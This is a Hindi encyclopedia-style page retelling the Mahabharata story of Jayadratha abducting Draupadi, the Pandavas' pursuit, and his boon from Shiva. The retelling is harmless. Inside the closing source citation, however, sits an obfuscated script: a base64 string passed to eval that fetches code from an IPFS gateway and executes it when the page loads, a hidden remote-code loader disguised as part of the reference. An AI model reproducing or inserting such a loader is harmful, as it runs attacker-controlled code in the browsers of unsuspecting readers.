द्रौपदी हरण

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जयद्रथ द्रौपदी का हरण करते हुए

अर्जुन के इन्द्रप्रस्थ से दिव्यस्त्र कि शिक्षा पाकर लौटने के बाद पाँचों पांडव द्रौपदी के साथ काम्यवन में अपना आश्रम बना कर रह रहे थे तभी एक बार पाँचों पाण्डव किसी कार्यवश बाहर गये हुये थे। आश्रम में केवल द्रौपदी, उसकी एक दासी और पुरोहित धौम्य ही थे।

जयद्रथ का काम्यवन आना

एक दिन दुर्योधन की बहन का पति जयद्रथ जो विवाह की इच्छा से शाल्व देश जा रहा था, अचानक आश्रम के द्वार पर खड़ी द्रौपदी पर उसकी द‍ृष्टि पड़ी और वह उस पर मुग्ध हो उठा। उसने अपनी सेना को वहीं रोक कर अपने मित्र कोटिकास्य से कहा, 'कोटिक! तनिक जाकर पता लगाओ कि यह सर्वांग सुन्दरी कौन है? यदि यह स्त्री मुझे मिल जाय तो फिर मुझे विवाह के लिये शाल्व देश जाने की क्या आवश्यकता है? 'मित्र की बात सुनकर कोटिकास्य द्रौपदी के पास पहुँचा और बोला, 'हे कल्याणी! आप कौन हैं? कहीं आप कोई अप्सरा या देवकन्या तो नहीं हैं? 'द्रौपदी ने उत्तर दिया, 'मैं जग विख्यात पाँचों पाण्डवों की पत्‍नी द्रौपदी हूँ। मेरे पति अभी आने ही वाले हैं अतः आप लोग उनका आतिथ्य सेवा स्वीकार करके यहाँ से प्रस्थान करें। आप लोगों से प्रार्थना है कि उनके आने तक आप लोग कुटी के बाहर विश्राम करें।

द्रौपदी का अपहरण

मैं आप लोगों के भोजन का प्रबन्ध करती हूँ।'कोटिकास्य ने जयद्रथ के पास जाकर द्रौपदी का परिचय दिया। परिचय जानने पर जयद्रथ ने द्रौपदी के पास जाकर कहा, 'हे द्रौपदी! तुम उन लोगों की पत्‍नी हो जो वन में मारे-मारे फिरते हैं और तुम्हें किसी भी प्रकार का सुख-वैभव प्रदान नहीं कर पाते। तुम पाण्डवों को त्याग कर मुझसे विवाह कर लो और सम्पूर्ण सिन्धु देश का राज्यसुख भोगो। 'जयद्रथ के वचनों को सुन कर द्रौपदी ने उसे बहुत धिक्कारा किन्तु कामान्ध जयद्रध पर उसके धिक्कार का कोई प्रभाव नहीं पड़ा और उसने द्रौपदी को शक्‍तिपूर्वक खींचकर अपने रथ में बैठा लिया। गुरु धौम्य द्रौपदी की रक्षा के लिये आये तो उसे जयद्रथ ने उसे वहीं भूमि पर पटक दिया और अपना रथ वहाँ से भगाने लगा।

पांडवों द्वारा जयद्रथ का पीछा

थोड़ी देर में पांडव आश्रम में लौटे। द्रौपदी के अपहरण का समाचार पाते ही भीम गदा लेकर जयद्रथ के पीछे भागे। युधिष्ठिर ने भीम को बताया कि वह बहन दुःशला का पति है, अतः उसे जान से मत मारना। उसी समय अर्जुन भी उसके पीछे भागे। जयद्रथ द्रौपदी को छोड़कर भाग गया। भीम ने जयद्रथ का पीछा किया तथा उसे पृथ्वी पर पटक दिया। उसे बाँधकर द्रौपदी के सामने लाए। द्रौपदी ने दया करके उसे छुड़वा दिया।

जयद्रथ को वरदान

इस अपमान से दुखी होकर जयद्रथ ने शंकर की तपस्या की तथा अर्जुन को छोड़कर किसी अन्य पांडव से न हारने का वरदान पा लिया।


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टीका टिप्पणी और संदर्भ

महाभारत शब्दकोश |लेखक: एस. पी. परमहंस |प्रकाशक: दिल्ली पुस्तक सदन, दिल्ली |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 151 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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